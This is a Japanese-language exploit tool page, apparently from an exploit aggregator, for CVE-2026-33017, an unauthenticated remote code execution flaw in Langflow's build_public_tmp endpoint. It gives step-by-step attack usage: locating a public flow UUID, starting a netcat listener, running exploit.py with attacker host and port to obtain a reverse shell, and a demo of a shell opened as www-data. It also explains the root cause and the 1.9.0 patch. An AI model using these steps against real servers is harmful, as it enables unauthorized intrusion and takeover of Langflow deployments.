## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-DYNAMO2K1-CVE-2026-33017
# CVE-2026-33017 — Langflow の未認証リモートコード実行
**著者:** dynamo2k1
**重大度:** 重大
**CVSSv3:** 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
* * *
## 概要
**CVE-2026-33017** は、LLM アプリケーションや AI ワークフローを視覚的に構築するためのオープンソースプラットフォームである Langflow における、重大な未認証リモートコード実行の脆弱性です。
脆弱なエンドポイント `build_public_tmp` は、認証なしでリクエストボディ内の攻撃者提供の `data` フィールドを受け入れます。これにより、攻撃者は **悪意のある Python カスタムコンポーネント** を含む完全にカスタマイズされたフロー定義を注入でき、そのコードはビルドプロセス中にサーバー上で実行されます。
認証情報は不要です。有効なパブリックフロー UUID のみが必要です。
* * *
## 影響を受けるバージョン
状況| バージョン
---|---
脆弱| Langflow **< 1.9.0**
修正済み| Langflow **1.9.0+**
* * *
## 脆弱なエンドポイント
root@kitploit:~
POST /api/v1/build_public_tmp/{flow_id}/flow
このエンドポイントは、認証なしでパブリック(共有)フローを構築するために設計されています。脆弱なバージョンでは、リクエストボディ内の攻撃者が制御する `data` フィールドも受け入れ、それがサーバーサイドのビルドロジックに直接渡されます。これにはカスタムコンポーネントに埋め込まれた任意の Python コードも含まれます。
* * *
## 使用方法
### 前提条件
root@kitploit:~
pip install requests urllib3
### Step 1 — パブリックフロー UUID を見つける
対象の Langflow インスタンスを閲覧し、共有/パブリックフローを探します。UUID は URL に表示されます:
root@kitploit:~
https://target.com/playground/7d84d636-af65-42e4-ac38-26e867052c25
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
これが flow-id です
### Step 2 — リスナーのセットアップ
root@kitploit:~
nc -lvnp 9001
### Step 3 — エクスプロイトを実行
root@kitploit:~
python exploit.py \
--url https://target.com \
--flow-id 7d84d636-af65-42e4-ac38-26e867052c25 \
--lhost <YOUR_IP> \
--lport 9001
または、組み込みのインタラクティブリスナーを使用します(別途 `nc` は不要):
root@kitploit:~
python exploit.py \
--url https://target.com \
--flow-id 7d84d636-af65-42e4-ac38-26e867052c25 \
--lhost <YOUR_IP> \
--lport 9001 \
--listen
### オプション
* * *
## デモ
root@kitploit:~
[*] Target: https://target.com/api/v1/build_public_tmp/<flow-id>/flow
[*] Callback: 10.10.15.28:9001
[*] HTTP 200
[!] SHELL ESTABLISHED FROM 10.x.x.x:36522
www-data@target:/var/lib/langflow$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
* * *
## 動作の仕組み
1. 攻撃者はパブリック Langflow フロー UUID(プレイグラウンド URL に表示)を特定します。
2. 細工された POST リクエストにより、モジュールレベルで Python コードを含む悪意のあるカスタムコンポーネントが注入されます。
3. ビルドフェーズ中に Langflow がコンポーネントコードをコンパイルし、メソッドが呼び出される前に攻撃者のペイロードを実行します。
4. コードは攻撃者のリスナーへのリバースシェルを生成します。
**根本原因:** `build_public_tmp` はサーバーに保存されたフロー定義のみを使用せず、リクエストボディの `data` フィールドを信頼していました。
**パッチ:** Langflow 1.9.0 では、`build_public_tmp` から `data` パラメータが削除されました。このエンドポイントを介して外部フロー定義を注入することはできなくなりました。
パッチコミット: `73b6612`
* * *
## 参考文献
* GitHub セキュリティアドバイザリ — GHSA-vwmf-pq79-vjvx
* NVD — CVE-2026-33017
* パッチコミット
* * *
## 免責事項
この PoC は教育目的および許可されたセキュリティ研究目的でのみ提供されています。自分が所有するシステム、またはテストする明示的な書面による許可を得たシステムに対してのみ使用してください。